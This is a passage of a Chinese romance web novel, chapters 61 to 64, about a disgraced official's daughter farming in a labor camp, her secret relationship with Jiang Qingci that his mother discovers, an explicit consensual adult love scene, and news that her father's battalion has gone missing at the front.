王姨娘道:“牢城营的饭不好吃,怎能让二小姐吃那个。” 云舒月摇摇头,其实她不在意的,再不济,她还能上丹奉台去蹭吃蹭喝。 但是王姨娘愿意给她做,她也不想拒绝。 把菜端上了桌,云梓莹她们打回来的饭菜和王姨娘刚做好的放在一处。 王姨娘将辣椒炒肉的盘子往云舒月跟前推了推:“二小姐吃这个就是了。” 柳姨娘这才慢慢悠悠地从屋子里出来,林书柔也扛着锄头从地里回来了。 一见着饭桌上的菜,林书柔皱了眉:“王姨娘怎么又下厨了。” 这次还不待王姨娘开口,云舒月便道:“母亲,是我帮着王姨娘一起做的。” 王姨娘连连点头:“是呢。”二小姐又是拔葱又是洗菜的,可不帮了她大忙嘛。 林书柔这才没说什么了,想是自己女儿嘴馋,不过,就算她什么也不做,就要指使王姨娘干活,林书柔也不会说什么,天大地大,女儿最大。 柳姨娘执筷,正要往辣椒炒肉的盘子里夹菜,被云舒月一把挡开了她:“柳姨娘,这是我的。” 柳姨娘的筷子僵在半空,脸上闪过一丝尴尬,随即干笑两声:“瞧我,竟忘了二小姐馋这口,那自然是二小姐的。” 说罢,她赶忙将筷子转向别处,夹了一筷子牢城营打开的粗菜。 云舒月很是不爽,她说的这是什么话,不管她馋不馋,这个家里所有的东西都是她的。 王姨娘埋头吃饭不说话,筷子也绝不往辣椒炒肉的盘子里夹一块。 云舒月夹起一筷子裹满油汁的肉片,送入口中,肉香、辣椒香、豆豉香瞬间在舌尖绽放,她满足地眯起眼睛。 林书柔看着女儿吃得开心,嘴角也微微上扬,眼中满是宠溺:“慢些吃。” 这盘菜当真就只是云舒月一个人的。 云舒月动作顿了顿,把盘子往桌子中间推了推:“母亲、王姨娘、四妹,你们也吃。” 柳姨娘浑身不爽,谁都有份,就她们娘俩没份,有像二小姐这样做事的嘛。 云舒月却不管那些,她只知道,她看得惯谁,就对谁好。 她夹起一片肉,放进林书柔碗里,撒娇道:“母亲,您尝尝,王姨娘手艺可好了。” 林书柔本不打算吃,此时也还是欣然吃下,脸上并未什么表情。 云舒月又接着给王姨娘夹了一筷子,王姨娘受宠若惊,捧着碗道:“使不得,二小姐,你吃就好。” 二小姐亲自给自己夹菜,王姨娘眼眶都红了一半。 自己为这个家忙前忙后,也是心甘情愿,她生来就老实,学不会偷懒耍滑,倒是柳氏常到她面前来挖苦她: “做这么多活儿有什么用呢?谁记着你的好呢,他们这些人呐,只会认为这都是你应该做的。” “啧啧,瞧你每日忙前忙后那样,你看二小姐有多看你一眼没有。” “老爷最宠爱的还不是我,好心劝你,咱们做小妾的,还是讨老爷欢心最重要。” 王姨娘虽也有动摇的时候,但大多数时候是不得不做,她不做,谁来做呢。 她现在哄着眼将肉吃下,心里暖烘烘的,倒觉得自己做的那些,都是值得的,谁说二小姐看不见了,二小姐可看得见呢。 云梓莹年纪还小,倒是不用云舒月给夹菜,自己闻着那肉香,忍不住就夹着吃了。 一边吃还一边道:“二姐姐也多吃。” 吃完饭,云舒月倒在石屋里小憩了一会儿,下午,扛着锄头跟母亲一起下地去了。 慢慢的,她对耕地播种一事越来越熟练。 春日的阳光愈发炽热,地面也升腾起丝丝热气。 随着一波粮食顺利收成,又被来往的军队一并捎上去了前线。 自父兄上了战场至今,已经过去三个月了。 林书柔走在田埂上,脚步稳健,身姿再看不出从前当家主母的雍容华贵,而是透露着干练。 “月儿,咱们今儿个把这块儿地翻了,再种上些新的菜苗,估计下一波收成要等到秋天了。” 在地上的时间是消磨得很快的。 云舒月用力点头,双手握紧锄头,手上还戴着诗筠给她做的牛皮手套。 这段时日一来,她已经换过十副牛皮手套了,每天下了地回到家,诗筠还要给她双手敷上厚厚的精油和乳霜。 这一小罐子精油,怕是能买下她那一块儿地一整个季度的收成,但她还是乐此不疲地一边干活一边保养。 她本想叫母亲也一起保养着些,可母亲却始终不愿。 林书柔说这是没事找事,是多此一举,何必呢。 云舒月扬起锄头,使巧劲儿砸向地面,“砰”的一声闷响,锄头入土,额头上豆大的含住滚落,浸湿了鬓边的发丝。 她笑着道:“母亲看我,这么快就耕好一条了。” 正说着,她一抬头,余光瞥见不远处一道身姿优雅的身影。 薛亦秋穿着一身得体的紫色缠枝莲纹短褂套比甲,肌肤胜雪,红宝石耳垂更衬得她面容端庄。 身后跟着两个提食盒的丫鬟,往丹奉台走的路上,倒是不得不经过这一大片农田。 她从田埂上走过,一路扫视周围环境,眉头不经意间微微皱起。 “夫人,不如先在此地等着,奴婢先去丹奉台,叫三公子派软轿下来接你。” 那丫鬟指着田埂上的一张躺椅和一把支在躺椅上的伞,正好可以给夫人休息。 薛亦秋蹙着眉头,本是不想这么劳烦儿子的,自己又不是不能走这土路,可看了一眼脚上这软鞋,还是罢了。 “那我就在此地歇息一会儿,你先上去。” 云舒月抬头望去,只见江清辞的母亲坐在了自己父亲往常的座位上。 她干活时总是会往那边看,恍惚间以为父亲还坐在上面,她倒是希望,父亲能一直坐在那儿,偷懒便偷懒,贪图享乐地过完这一生。 云舒月朝那边望了许久,薛亦秋的目光扫向她,看到了她,只见她浑身泥土,手中还握着把锄头。 “怎么了?月儿。” 林书柔见女儿听了动作,便问她。 放下锄头,顺着女儿的目光看过去,林书柔脸色一变,怎么是江二夫人。 薛亦秋目光在云舒月身上打量了一番,面色不太自然,想了想,还是站起了身,朝她招招手。 “云二,过来。” 云舒月朝那边走去,江清辞的母亲来了,她也不好不打招呼。 薛亦秋叫来身旁剩的一个侍女,叫她打开食盒,拿出一碟荷花酥。 “伯母好,伯母怎么来了,今日天热,可要小心防暑。” 薛亦秋把荷花酥的碟子往她跟前递了递:“好孩子,累着了吧,吃些糕点。” 第62章 第62章她从前是不太看得惯…… 她从前是不太看得惯云家女,虽外表看上去修得个完美无缺,可内里……谁知道是什么样。 可薛亦秋再怎么是个做母亲的人,又是一连生了两个儿子就想要个女儿。 往常见云舒月时常贴在自己儿子身上,不是要这,就是要那,不是撒娇,就是卖乖,她能喜欢才怪了。 可今日她亲眼见着小闺女在地里锄地,忙活得浑身是汗,衣服上又沾了泥,与她记忆力京中那位云二小姐的形象大相径庭。 云舒月的脸上还并无半分逃避,干活干得十分卖力,薛亦秋看了能不心疼吗。 云舒月也不跟她客气,伸手要去抓荷花酥吃。 薛亦秋连忙拦住她:“哎哟,可别这样吃,手上都是泥。” 她掏出手帕 ,用手帕裹着递给她:“吃吧。” 江夫人头上梳着时兴的发髻,斜插着一支翡翠镶金步摇,步摇下垂下的串串珍珠,随着她脑袋的晃动轻轻摇曳。 云舒月吃着吃着,有些出神,江夫人头上的发髻样式,她已经看不大懂了,自己在这牢城营一待就是大半年,京中如今时兴什么,她也不知道了。 一想到这儿,云舒月神情难免落寞了些。 她口中含着糕点,香甜的味道在舌尖散开,她抿唇道:“谢谢伯母。” 薛亦秋自己也未能察觉,自己唇角露出了一抹笑意。 瞧这姑娘,一边吃,一边额头上还渗出汗珠呢。 穿着粗布衣裳,底下的皮肤仍旧白得发光。 薛亦秋又拿出一块手帕,没忍住,为她擦了擦额头上的汗珠。 这时,林书柔走了过来。 云舒月忙看向她:“母亲。” 薛亦秋见了这位从前也常在各种场合上见过的云夫人,站起身,并未欠身,脸上挂着恰到好处的微笑:“云夫人,许久不见。”声音轻柔,却难掩那股久居上位的矜贵之气。 薛亦秋倒也没觉得自己端了架子,毕竟往常两人相处,也是这样的,再说,这位云夫人,难道就不会端架子吗。 林书柔却把肩上的锄头往地上一放,抬手随意抹了把额头的汗珠,她头发有些乱,原本白皙的肌肤如今因长久暴晒而微微泛红。 身上那件洗得发白的粗布衣衫,沾了点点泥土,衣角处还有被划破的口子。 “江夫人,是啊,许久不见。” 林书柔开口,声音带着田间劳作后的沙哑,却依旧沉稳。 她伸手掌住云舒月的肩:“月儿如今长大了,倒麻烦你家公子还愿意照顾着她。” 薛亦秋抬手理了理鬓边特意留下的碎发,“没关系,都是江三应该做的,举手之劳而已。” 再不情愿,被人推着举着的,还只能再添上一句客套话:“今后若是还有什么需要帮忙的,尽管找江三提便是,都不妨事的。” 林书柔顺了顺云舒月后脑勺的发丝,看着她欣慰说道:“两个孩子从小就要好,来了牢城营,两人也经常作伴,互相扶持,我们做长辈的见了,很是欣慰呢。” 薛亦秋微微颔首,嘴角保持着那丝客套的笑意,目光悄然在眼前母女身上游移着。 她瞧着云夫人这模样,倒像是真在这牢城营待惯了。 又看看云舒月虽穿着朴素却仍透着机灵劲儿的样子,心中不禁泛起一丝复杂的情绪。 这云二的样子,是让人心疼不错,可她与江清辞,终归该是泾渭分明的两个人,两家如今门第差距甚大,又都是二十多岁的男女了,又谈何互相扶持、互相照顾。 云舒月揣着什么心思,她儿子又揣着什么心思,那还用说嘛,一个图权,一个图色罢了。 “云夫人所言极是,两个孩子投缘,是他们的福气。”薛亦秋回应着,又见云舒月手上的糕饼吃完了,递给她手帕,叫她擦一擦嘴,又给她递了一块儿。 “吃吧,吃完了还有。” 此时,一阵微风吹过,薛亦秋抬头一看,原是自家儿子亲自派着软轿下来了。 两名精壮小厮稳稳抬着,软轿倒不是什么奢侈物件儿,是牢城营里随意叫人打造的。 江清辞身姿挺拔,一袭长袍随风轻摆,见了母亲,上前几步,先是问了好,又看向林书柔,行了一礼:“伯母,近来可好?” 林书柔道:“我很好,多谢挂念。” 江清辞就要将目光挪到云舒月身上去,薛亦秋轻咳一声,说道:“你来得正好,咱们上去吧。” 说着,她便要往软轿上走。 江清辞又看向云舒月:“要不要上去玩一会儿,我新收了一只笔,你可以把玩。” 薛亦秋上轿的动作顿了顿,还是没说什么,坐进了轿子里。 云舒月回头看向母亲,林书柔对她道:“去吧,今天的活儿已经做得差不多了。” 云舒月便点点头,转身并肩跟着江清辞往山上走去。 一路上,只薛亦秋一人坐在轿子里,身旁跟着两个丫鬟,江清辞与云舒月并肩走在后面。 “清辞哥哥,前方可有战报传来?” 江清辞颔首:“战报一般先送至京中,我这里收到的总要晚一些,不过已经足够了解消息,你放心,伯父和云鸿祯都还在炊事营和工兵营,未上过前线。” 云舒月轻轻点着头:“哦,那就好。” 江清辞默不作声地侧头看她,几缕被汗水浸湿的发丝还黏在她的脖颈处,她的眉眼明明舒展,却隐隐夹杂着些愁绪。 江清辞感觉,她这阵子比从前温柔了许多,再也没有无理取闹,再也没有娇蛮任性。 他既不希望这是她必经的成长,更不希望这是她故意而为,能让云舒月被迫收敛锋芒,藏起扎人的尖刺,必不是什么好事。 他牵起她的手,云舒月悄然往软轿的方向瞥了一眼,还是没挣开他的手。 阳光洒在蜿蜒的山路上,两人的手紧紧牵在一起,云舒月的手小巧而柔软,江清辞的手宽厚温暖,稳稳地包裹着她的。 他凑她耳边小声道:“今晚留下来?” 云舒月愣了愣,点头:“好啊。” 有阵子没上来过夜了。 山间的微风带着丝丝凉意,轻轻拂过他们的脸庞,吹起他们的衣角。云舒月微微仰头,感受着风的轻抚,脸上的笑容惬意了一些。 江清辞紧紧注视她,伸手将她的乱发撩到耳后:“月儿甚美。” 云舒月穿着粗布衣衫,脸上可能还沾了未来得及清理的脏污,可她听了这话,心里也高兴得不行呢。 薛亦秋只撩开轿帘轻轻地瞥了那么一下,这一下,给她心脏吓得猛烈跳动了一下。 她看到两人紧紧相牵的手,亲密的动作那叫一个自然,以及云二那面带羞涩的面容,江清辞眼中的情绪,更是如同一把重锤,敲在她的心坎上。 作为一名生过两个儿子的已婚妇女,她不得不怀疑,这两人实际上的亲密程度远超外表看上去那样。 薛亦秋放下轿帘,靠在轿内的软垫上,眉头紧锁。 “夫人,到地方了。”丫鬟的出声提醒打断了薛亦秋的思绪,她整理了一下衣衫,神色恢复如常,迈步走出轿子。 江清辞与云舒月随后赶到,在赶到的一瞬,默契地松开了手。 谁也不是主动松开的那个,也谁也不是不愿意放的那个。 “母亲,晚上想吃什么,我叫厨房做。”江清辞上前一步,对薛亦秋说道。 薛亦秋目光在两人身上扫过,沉默片刻后,道:“看云二想吃什么吧,我都可以。” 三人一齐往屋内走去。 江清辞道:“母亲,其实不用老来看我,我在这里生活得挺好的。” 薛亦秋一边往江清辞卧房里走,一边道:“你一个男子,能怎么照顾自己,要我说啊,还是应当尽早把婚事谈了,有自己的夫人替你打理起居,我才好安心呢。” 正说着,薛亦秋拉开江清辞的衣柜,江清辞还未来得及阻止,他也没想到,从来不会碰他东西的母亲,会突然打开他的柜子。 一打开,江清辞的衣物全都整整齐齐地摆放着。 然而,在那些质地精良、绣工精致的袍服之间,几件女子形制的棉布寝衣,薛亦秋的脸色瞬间变得极为复杂,她的手微微颤抖着,下意识地将那亵衣往旁边拨了拨,紧接着,又瞥见下方压着的一条淡粉色肚兜。 薛亦秋只觉一阵气血上涌,她猛地转过头,看向江清辞,目光中满是震惊与斥责。 “江清辞,这是怎么回事?”薛亦秋的声音因愤怒而微微拔高,眼神如炬地盯着江清辞,仿佛要将他看穿。 没有一个男子能抵得过生气的母亲,可抵不过也得抵。 “母亲,你听我解释。” “不必多说了,我会尽快呈明你祖父,为你二人筹备婚事,此事 断不可再拖。” 倒也怪她,竟不知儿子为了云舒月,能做到这种不顾礼义廉耻的地步,若她早知道的话,事情何至于此。 未婚就先……先……真是没眼看。 薛亦秋断不敢再看云舒月一眼,这女子在自己儿子身上吃了这么大亏,理亏的是江家啊。 若是叫人家云家长辈知道了,不知还要怎样戳着自己儿子鼻子骂呢。 听母亲这么说,江清辞收回了想说出口的解释,他小心垂眸看向云舒月,也不知这样的结果,是不是她想要的那种。 云舒月知道,这种时候,到了该自己争取的时候了。 她上前一步,忙道:“伯母,你误会了,事情不是你想的那样,婚姻之事不是儿戏,不可这样草率决定,更何况,这件事情我也做不了主,须得向我父母商讨一番。” 云舒月言辞恳切,声音清脆,她的态度让薛亦秋微微一怔。 薛亦秋原本以为云舒月会迫不及待地应下婚事。 可与她父母说明,乃是礼数,可他们二人都已经有了这般纠葛,婚事岂有不办之理? “难不成,你对我儿,还有疑虑?” 薛亦秋不满,这种时候,她还端什么架子,除了装模作样以外,毫无意义。 云舒月深吸一口气,迎上薛亦秋的目光:“伯母,我虽然与清辞哥哥情投意合,这是事实。但正因如此,我才更不想这桩婚事仓促定下。我一家还深处困境,我父兄还生死未卜,他们都将我视作掌中宝,婚姻大事,我必得听我父亲的意见,还请伯母等我父亲回来以后再行商议。” 她微微侧身,看向江清辞,眼中满是坚定与温柔:“而且,我希望我与清辞哥哥的婚事,是建立在两情相悦、双方长辈都认可与祝福的基础上,而非因一时的意外与误会。” 江清辞看着她的眉眼,倒觉得月儿爱他至深。 薛亦秋退后两步,自己这是,被拒绝了? 可不得不说,她心中的怒火渐渐平息了,取而代之的是一种复杂的情绪。 云二看起来,真是一位有主见、重情义的女子,怎么跟她从前认识的不太一样。 “罢了,既然你这么说,那这婚事便暂且缓一缓。”薛亦秋轻叹一声,“只是云二小姐,你也清楚,这事儿终究得有个了结,我会尽快派人去牢城营拜访你父母,商议此事。” 问题是,云明旭现在都不在,事情必然就得推后,云舒月可打着小心思呢,此事一出,不光是云家,江家都得盼着云明旭平安回来了。 薛亦秋一想到这事情还要拖这么久,心里就烦,尤其是衣柜子里那一摊子肚兜,与她儿子的衣物交缠不清。 可云舒月说来说去,咬死了那是误会,若是问到底,她就说那不是她的,扯来扯去,扯成江清辞爱穿女装也不会承认。 云舒月一脸无辜:“都是误会,伯母,我与父母都会认真对待此事的。” 她抬眸,目光与薛亦秋交汇。 第63章 第63章地里的活儿才是天大的事…… 晚上,三人围在一起吃了饭,一张四方木桌摆在屋子中央。 薛亦秋坐在主位,身姿端正,云舒月日渐变得懒散的用饭坐姿也瞬间端正起来。 江清辞坐在她左手边,一袭月白长袍,腰间系着一条青绿色的丝绦垂地,心中叹气,待她走了,自己母亲不知又要对他耳提面命些什么。 就当他是做错了事吧,做了不顾廉耻的事。 薛亦秋拿起筷子,夹了一筷子青菜放入口中,轻轻咀嚼,点头道:“这青菜炒得不错,清爽可口。” 江清辞闻言,看了云舒月一眼,道:“母亲,这是月儿种的菜。” 从她地里收上来的。 薛亦秋一怔,手中的筷子悬停在半空,抬眸看向云舒月,心中对她的心思是越来越复杂了,有惊讶,亦有几分重新审视的意味。 烛光轻轻摇曳,云舒月夹了一块红烧肉吃,香得她微微眯起了眼睛,今日做了农活,吃饭可香了。 “云二,这青菜种得这般好,想来在这牢城营吃苦了。”薛亦秋缓缓开口,声音比以往柔和了许多。 一说到这儿,江清辞难免又要心疼云舒月一会儿。 云舒月挺直了腰,昂着下巴对薛亦秋道:“伯母爱吃就多吃些,月儿不苦,清辞哥哥已经照顾我许多了。” 薛亦秋对上她那双眼,她不想承认,但是不得不承认,她不光是有点心疼这小姑娘,倒是真的开始欣赏她了。 云舒月眼眸清澈,薛亦秋从中看到了坚韧与真诚。 这云舒月,自己的未来儿媳妇,到底是一个什么样的人呢? 好复杂啊。 饭桌上的气氛愈发融洽,三人你一眼我一语,偶尔谈及家里发生的趣事,引得一阵轻笑,难得的,食不言寝不语的规矩也没了。 “云二,”薛亦秋再次开口,“改日若有闲暇,也叫江清辞带你回家玩玩,家里几个姐姐妹妹都想你。”她也有些话,想与未来儿媳说。 怎料云舒月闻言,笑着摇头道:“地里要赶秋收,活儿多着呢,暂时抽不开身,抱歉啊伯母。” 薛亦秋:“……” 她江家未来的儿媳,未来的主母,能为了种地抽不开身,真是天大的“笑话”了。 偏云舒月一脸天真又真诚的模样,仿佛那地里的活儿才是天大的事。 此时,窗外的夜色愈发深沉,偶尔传来几声虫鸣,江清辞握住云舒月的手,他的月儿现在是整个牢城营最勤劳的女子。 “母亲,不光是桌上这盘菜,我上月送回家中的一筐小白菜也是月儿种的。” 薛亦秋一愣,扯开嘴角笑着道:“是吗,那筐子白菜,你祖父可爱吃了。” 夜有些深了,看母亲的意思,今夜似是要留宿在丹奉台,现在回山里去也来不及了。 薛亦秋眼睛从两人身上扫过,沉声道:“把云二送回去吧,省得她母亲着急。” 江清辞无奈道:“好的母亲。” 云舒月有些不情愿走,好不容易上来了,她也不爱来回倒腾。 再说了,江清辞的床睡着舒服,她也喜欢睡。 江清辞哄着她:“我背你下山。” 他在她跟前蹲下,薛亦秋简直没眼看,总之,她只要江清辞把云舒月送走,别的怎么样都行。 云舒月不情不愿上了江清辞的肩,直到二人走上了下山的路,薛亦秋才挪开眼。 要是她不管,两人又要睡一块儿不成? 另一边,江清辞背着云舒月,稳稳地走在下山的小径上,月光如水,洒在他们身上,勾勒出一幅静谧而美好的画面。 云舒月趴在江清辞的背上,双手环着他的脖颈,脸颊贴着他的后背,感受他的心跳。 走着走着,她用鼻尖轻蹭他的脖颈,引得他微微一颤,发出一阵低笑:“月儿,别闹,山路不好走。” 可云舒月仿若没听到,江清辞低笑起来的声音,她格外喜欢呢。 云舒月先是用鼻尖蹭,鼻尖蹭完又将嘴唇凑上去吻他,吻得他痒痒的,继续发出低沉的笑声。 “呵呵呵,月儿,别亲了。” 她不光亲,亲着亲着,还开始嘬,用牙齿轻轻咬住他脖颈处的肌肤,留下一个浅浅的印子。 夜里的山路是真不好走,云舒月双臂用力一收,双腿也紧紧夹住江清辞的腰,江清辞顺势将她放在山腰上一处大石头上坐着。 不远处,月光反射出行宫的屋檐。 山间的风吹过,云舒月却觉得浑身燥热。 她将脸贴在江清辞的小腹上,深吸一口气,闻着他身上独有的气息,心中满是欢喜。 突然她手放在他腰间的绦带上,轻轻一扯,腰带就开了。 江清辞身体瞬间紧绷:“月儿,你再这样,我可真忍不住了。” 他的声音有些沙哑。 云舒月听了,非但没有收敛,她的手开始不安分地在他胸前游走 ,隔着薄薄的衣衫,轻轻抚摸他结实的胸膛。江清辞只觉一股热流直冲下腹。 云舒月摸了摸,又觉得不得劲儿,干脆解开裤腰带直接探了进去,江清辞猛地倒吸一口凉气,双手下意识地抓住了云舒月的肩膀,指尖微微用力。 “月儿……”江清辞艰难地开口,声音里带着一丝破碎感。 云舒月微微仰头,看着江清辞略显迷离的双眼,嘴角勾起一抹妩媚的笑。 山风依旧轻柔地吹着,却无法冷却他愈发滚烫的身躯。 云舒月的动作愈发大胆,江清辞只觉理智的弦在一点点崩断。 将到未到之际,远处传来一阵轻微的脚步声,似乎有人正朝着他们所在的方向走来。 江清辞一把抱住云舒月,躲到了石头后面。 原是巡视而过的官兵。 云舒月抽回手,捏了捏手心,江清辞掏出手帕替她擦拭。 他看着云舒月,眼中满是无奈,云舒月耸耸肩:“现在送我回去吧。” 江清辞却不愿了:“你把我搞成这样,说走就要走?” 他朝四周望了望,一把扛起她:“走,去行宫里。” 行宫内如今已是空无一人,但宫殿都已经修整完好。 江清辞扛着云舒月,大步朝着行宫走去,月光洒在他们身上,勾勒出江清辞急切的身影。 行宫内一片寂静,唯有月光透过窗户,洒在冰冷的石板地上,映出斑驳的光影。 江清辞一脚踢开一间偏殿的门,小心翼翼将云舒月放下,耳后转身,缓缓将门合上,插上门闩。 云舒月环顾四周,好奇地打量起来,也不知这个宫殿将来会是谁的住所。 空气中弥漫着陈旧与清冷的气息,但她感受到背后的热气逐渐靠近。 江清辞头埋在她颈窝里,深深吻着,眼中燃烧着的**从未熄灭,呼吸也略显急促。 他手在她胸前轻轻一解,衣物便都散了开来。 云舒月在他手里毫无反抗余地,任由他摆来弄去。 她后背抵在了一张墙壁上,他急切地吻了上来,双手撑在她身体两侧,将她困在怀中。 他微微俯身,呼吸交融。 喘着气道:“月儿,咱们要个孩子吧。” 他控制不了自己一点,可这样的动作,不就是会有孩子的吗。 她不同意的话,他怎好卖力呢,每次都瑟瑟缩缩的,留在她的小腹上。云舒月的脸颊愈发滚烫,微微闭上眼睛,此时的她也有些不清醒了,轻轻点了点头,算是给予了回应。 江清辞的嘴唇缓缓落下,先是轻轻吻住她的额头,耳后沿着她的眉眼、脸颊,一路吻到她的嘴唇。直到与她的舌尖紧紧纠缠在一起。 云舒月伸手紧紧抓住他敞开的衣襟,回应他的吻。 她衣衫上的系带尽数解开,露出了一片肩,他的嘴唇沿着她的脖颈、锁骨…… 云舒月紧紧咬着嘴唇,双手时而抓紧他的手臂,时而抚摸他的后背。 不知过了多久,她被他压在一张乌木桌案上,压弯了腰,她抬起头,眼中闪烁着泪光,这一次他真的全给了她。窗外传来一阵清脆的鸟鸣,江清辞轻轻抚摸着她后脑勺的头发,一次又一次地说:“月儿,我爱你,月儿,你好美。” 他还要问:“月儿,你爱我吗?” 从云舒月喉间溢出的那些破碎的字眼“爱,爱”听起来很不真实。 在最后那一刻,他多希望她说她真的爱他。 “月儿,你爱我吧,你爱我吧,好不好。” 云舒月手撑着桌案,一下又一下地回应他:“爱的呀,爱的,真的很爱。” 江清辞掐着她的后腰,埋头去吻她,吻得好滚烫,云舒月被他按得死死的,抽身不出去。 江清辞吻得热烈,眼底却悄然落了泪,他不知她究竟爱不爱他,他的睫毛轻颤,他的手掌也轻颤,捏得她快要碎了,一阵一阵叫着疼,他才柔缓了一些,他缓缓抬起头,双眼泛红,深情且又带着一丝迷茫地凝视她,云舒月微喘着气,凌乱的发丝贴在汗湿的脸颊上,她努力调整着呼吸,缓缓抬起眼帘,目光与他交汇,尽量不躲闪。 “清辞哥哥,我真的爱你。”哄着他说道。 说着,她伸出手,轻轻拭去他眼角残留的泪花,指尖划过他的脸庞,带着无尽的温柔,她扭了扭腰肢,才与他分开。 江清辞拢着她,信了大半。 子实,云舒月回了家,江清辞上了山,薛亦秋站在门前等他。 “江三,你为何要去这么久?” 江清辞道:“哦,云伯母留我喝了盏茶。” “你说谎,云家的灯烛一早就灭了,刚刚才亮起了一会儿,随后你就回来了。”薛亦秋目光如炬,严肃道。 江清辞闻言,面上仍然镇定:“母亲。” 薛亦秋微微皱眉,知道有些事情管不得自己已年过二十五的儿子。 “罢了,我不管你,你自己知道分寸。” 薛亦秋捏着眉心,仍是发愁得厉害。 江清辞望着母亲的背影,心中一阵愧疚,他轻声说道:“母亲,放心,儿子定不会做出有辱家门之事。” 薛亦秋脚步顿了顿,却没有回头,只是挥了挥手,示意他回房休息。 云舒月早早起来,使唤家里两个妹妹一个柳姨娘帮着王姨娘做些家务。 柳姨娘轻皱眉头,颇不情愿,干个扫地的活儿也干得拖拖拉拉的。 云千雁睡眼惺忪,嘟囔道:“二姐,天还没大亮呢。” 云舒月端坐主位,喝着诗筠泡来的茶:“王姨娘大着肚子在干活,你们好意思吗?” 云梓莹倒是乖巧,一大早小跑到厨房,帮着自己姨娘做事情。 云舒月走进厨房,见王姨娘正忙着生活,这烟熏火燎的活儿,哪能孕妇干。 云舒月当即朝云千雁招手:“你过来点柴。” 云千雁虽不情愿,但也不敢不听二姐的。 “王姨娘,你别干了,让她来干。” 第64章 第64章“少主!”为首的暗卫低…… 王姨娘满是感激地看着她:“二小姐,你待我可真好。” 要知道,嫡女和老爷的妾本身就是阶级分明的关系。 云舒月看着王姨娘那大得惊人的父子,寻思自己要是不管这点,这个家全都要指望王姨娘干活,那还得了。 “哎哟,王姨娘,我看着你这肚子都害怕,你快上床上躺着去吧。” 云舒月一边说着,一边轻轻搀扶起王姨娘。 王梅英眼眶又泛起红来:“二小姐,哪能这么娇贵,我身子骨硬朗着呢,能干活。” 嘴上虽这么说,可她的步子明显有些沉重,毕竟这腹中胎儿已经大得让她行动极为不便。 云舒月不由分说,半扶半拖地将王姨娘带到床边,让她躺下,又拿过一个枕头垫在她身后,调整到一个舒适的角度。 “姨娘,你可别逞强了,眼下好好生下孩子是最重要的。”云舒月温柔地说道,语气中带着不容置疑的坚定。 本来按理说,家里该多分心照顾着点王姨娘腹中孩子的人应该是林书柔,她一个做主母的,要么好心,要么坏心,都不会不在意孩子。 可林书柔确实不在意,要她说,这孩子还不如不生。 王梅英此时心里感动极了,二小姐真是待她极好极好。 她没忍住拉着云舒月的手,嘴唇微微颤抖,一时竟说不出话来。 云舒月轻轻拍了拍她的手,安抚道:“姨娘,月份应该快要到了,你别担心,稳婆和郎中我会安排妥当的。” 王梅英含泪点头:“二小姐,你这份心意,我记下了,往后定为你当牛做马。” 云舒月别开头,微微皱了眉。 她也没做什么,一点点好处,就能让人给她当牛做马么? 更何况,照顾王姨娘腹中孩子本就是她的义务。 当然了,事情也要换着角度看,若是她云家还在京里做着官,那么王姨娘腹中的孩子就不关 她的事了,她甚至还会有那么些敌意。 云舒月走出王姨娘的房间,轻轻带上房门,正巧碰上柳姨娘。 云舒月皱眉:“不是叫你把院子打扫了吗?” 柳姨娘道:“已经打扫好了,不过二小姐,王氏肚子里的孩子出来可是要跟你争老爷的宠的,你何苦这么上心。” 云舒月听得想笑:“也就只有你才会在意我父亲的宠了。” 不欲再与柳姨娘多说,云舒月来到房间里找母亲,林书柔正坐在窗边,手上做着针线活儿。 云舒月轻声唤道:“母亲。” 林书柔转过头,看到是女儿,神色缓和了些:“月儿,怎么了?” 云舒月道:“王姨娘应该要生了,母亲,到时候你得多看着点。” 她一个小女孩儿,没有生产经验,什么都不懂。 林书柔脸色一沉,说起来,王氏刚怀的时候,她是想提议打掉的。 一家子在这牢城营处境艰难,如何再生下一个孩子来受苦。 她与旁人看的都不一样,她害怕孩子受苦,而旁人只会计算多一个孩子能给家中带来多少好处。 如今月份已经这么大了,眼看着都要生了,林书柔还能说什么呢,孩子平安降生就是最好的结局了。 她朝女儿点点头:“好,到时候我看着些。” 云舒月从母亲房间出来后,开始着手于安排家中的事务,姿态颇有她从前那样,从前偌大一个云家,虽也不是她在管,但她身为家中唯一嫡女,也是仗着势利管过许多人、许多事的。 现在家中母亲不管事,每天只一心照管她的田地,家里便只有云舒月管事了。 她将两个妹妹叫到跟前:“四妹,你这几日不要离开王姨娘半步,好好看着她,也不要让她干活,一旦出什么事,立刻找我,找不到我的话,就上山去找江清辞,我今日就去向他说明情况。” “三妹,家中的情况你也看到了,你姨娘如何我就不说了,但你平日里机灵,多分担些家务,姐姐会看在眼里的。” 云舒月目光直视云千雁,这驭下人之术,她稍微会那么一些。 云千雁被她看得不敢直视她的眉眼,很不好意思地点了点头:“是,二姐。” 柳姨娘是大人,云舒月改变不了她,但云千雁是比她小的妹妹,就算长歪了一点,也不算太歪,云舒月愿意教好她,把她教成“天大地大,二姐最大”的妹妹。 安排妥当后,云舒月转身出了家门,朝着山上快步走去。 山路崎岖,她脚步匆匆,额头上很快沁出细密汗珠。 不多时,云舒月来到江清辞住处,还微微喘着气。 江清辞从书案前抬起头:“月儿,你来了。” 云舒月满嘴的话堵在了嘴边,因为她看江清辞的脸色,不太好。 “清辞哥哥,出什么事了?” 江清辞没来得及把身前的公文遮掩起来,现在遮掩反而多余。 云舒月朝他那儿走过去,目光落在桌上摊开的公文上。 只见公文上的字迹潦草凌乱,应是被人急速而写。 她轻轻拿起公文,上面的内容让她瞬间瞪大了眼。 公文顶端,“紧急军报”四个大字。 “吾军于四月初七在饶古镇遭遇敌军精锐突袭,后敌军不断增兵,包围圈逐渐缩小,我军陷入苦战长达半月,为减少伤亡,避免正面迎敌,武将军下令各营朝各方奔逃,目前炊事营下落不明,我方残军正全力搜寻中,然尚未有确切消息传来……” “清辞哥哥,这……这是怎么回事?”云舒月的声音颤抖着,抬起头,看向江清辞,军报她读不太懂。 江清辞拿下她手中的公文,沉声道:“这不代表什么,武将军战功赫赫,极擅以一敌十,他既然已经下令各方奔逃,必是把那些人的命看在眼里的,现在只是丢了一个炊事营还没找到罢了,什么也代表不了。” 他将双手轻轻搭在她的肩膀上,希望能给她一些安慰。 云舒月眼眶泛红,泪水在眼眶中打转,随时都可能夺眶而出:“那我阿兄呢,可有他的消息?” 江清辞深吸一口气,艰难说道:“军报只会呈明大事,不会写明具体某个人员伤亡。” 云舒月身子晃了晃:“那就是说,我不能知道我父兄的安危了。” 江清辞也没想到会出这样的事,按理说,一个在炊事营,一个在工兵营,应是完全能保命的。 “我这就把我身边的暗卫派到北边去,叫他们保护你父兄。” 是他的错,他该早点这样安排的。 